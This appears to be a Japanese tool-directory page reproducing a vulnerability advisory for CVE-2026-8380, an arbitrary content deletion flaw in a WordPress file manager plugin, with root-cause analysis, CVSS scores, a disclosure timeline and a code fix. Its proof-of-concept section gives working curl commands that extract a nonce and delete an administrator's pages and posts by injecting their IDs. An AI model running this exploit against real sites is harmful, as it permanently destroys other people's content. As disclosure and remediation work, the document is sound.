Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8380 — CVE-2026-8380 | Kitploit
ツール/GitHubGitHub/tiagob0b/cve-2026-8380
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8380

CVE-2026-8380 — Frontend File Manager <= 23.6 任意投稿削除

概要

WordPressプラグイン Frontend File Manager (nmedia-user-file-uploader) のバージョン <= 23.6 に、重大な認可の欠陥が確認されました。

この脆弱性により、低権限の認証済みユーザーが、AJAX削除エンドポイントにおける不適切な認可検証のため、任意のWordPress投稿、固定ページ、添付ファイル、カスタム投稿タイプを恒久的に削除できます。

プラグインオプション _allow_guest_upload=yes が有効な場合、脆弱性は未認証の攻撃者にも悪用可能になります。

  • CVE: CVE-2026-8380
  • プラグイン: Frontend File Manager (nmedia-user-file-uploader)
  • 影響を受けるバージョン: <= 23.6
  • 研究者: Tiago Ferreira
  • CWE: CWE-639 / CWE-862
  • 脆弱性タイプ: 任意投稿削除
  • WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

エグゼクティブサマリー

このプラグインには、wpfm_delete_file AJAXアクション内のパラメータ不一致検証により、WordPressコンテンツの任意削除を可能にする重大な認可バイパス脆弱性が含まれています。

この脆弱性は、実証コードによる能動的な悪用とともに、管理された実験環境で正常に検証されました。

また、調査中に以下の追加のセキュリティ上の弱点も特定されました:

  • メタデータ更新エンドポイントにおけるnonce検証なしのCSRF
  • 最後のファイル拡張子のみに基づく拡張子許可リストのバイパス
  • _allow_guest_upload による複数エンドポイントでの認可チェックの無効化
  • REMOTE_ADDR のみに基づくレート制限

脆弱なエンドポイント

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

影響を受けるファイル

root@kitploit:~
inc/files.php

脆弱なコード領域

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

根本原因

認可チェックは、単一のパラメータを使用して所有権を検証します:

root@kitploit:~
$_POST['file_id']

しかし、実際の削除操作は異なるパラメータを反復処理します:

root@kitploit:~
$_POST['file_ids[]']

この不一致により、攻撃者は以下のことが可能です:

  1. 正当な所有投稿を file_id に指定する
  2. 任意の被害者投稿IDを file_ids[] に注入する

以下の検証は一切存在しません:

  • file_ids[] 内のすべてのアイテムの所有権
  • 許可された post_type
  • file_id と file_ids[] の関係

その結果、任意のWordPressコンテンツが恒久的に削除される可能性があります。


影響

最小限の権限を持つ認証済みユーザーは、以下を恒久的に削除できます:

  • 投稿
  • 固定ページ
  • 商品
  • 添付ファイル
  • カスタム投稿タイプ
  • プラグイン固有のコンテンツ

削除は次の方法で実行されます:

root@kitploit:~
wp_delete_post($file_id, true);

つまり、コンテンツはゴミ箱から復元できずに恒久的に削除されます。

_allow_guest_upload=yes が有効な場合:

  • 悪用は未認証になります
  • 投稿者の所有権チェックは完全にスキップされます

実証コード

実験環境

  • ターゲット: 192.168.1.1:8080
  • 攻撃者のロール: 購読者
  • 被害者のロール: 管理者

攻撃者アカウント

root@kitploit:~
wpfm_sub : Sub@Test123

被害者の投稿

root@kitploit:~
ページID: 60
投稿ID: 61

ステップ1 — Nonceの取得

攻撃者はショートコードを含むページにアクセスします:

root@kitploit:~
[ffmwp]

nonceを抽出:

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

応答:

root@kitploit:~
value="9c233d4720"

ステップ2 — 任意削除の実行

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

説明

パラメータ説明
file_id=57認可バイパスに使用される購読者所有の投稿
file_ids[]=60被害者管理者の固定ページ
file_ids[]=61被害者管理者の投稿

成功応答

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

確認

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

深刻度

認証済みシナリオ

CVSS 3.1

root@kitploit:~
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

ゲストアップロード有効シナリオ

CVSS 3.1

root@kitploit:~
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE分類

  • CWE-639 — ユーザー制御キーによる認可バイパス
  • CWE-862 — 認可の欠如

推奨される修正

file_ids[] 内のすべてのエントリについて、所有権と投稿タイプを検証します。

安全な実装例:

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

タイムライン

イベント日付
脆弱性発見2026-05-28
ベンダーへの連絡2026-05-28
WPScan公開2026-06-04
公開情報開示2026-06-18

参考文献

  • WPScan Advisory: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380


免責事項

この調査は、教育およびセキュリティ研究目的のみで、管理された実験環境で実施されました。

適切な許可なくシステムをテストしないでください。

ツールをダウンロード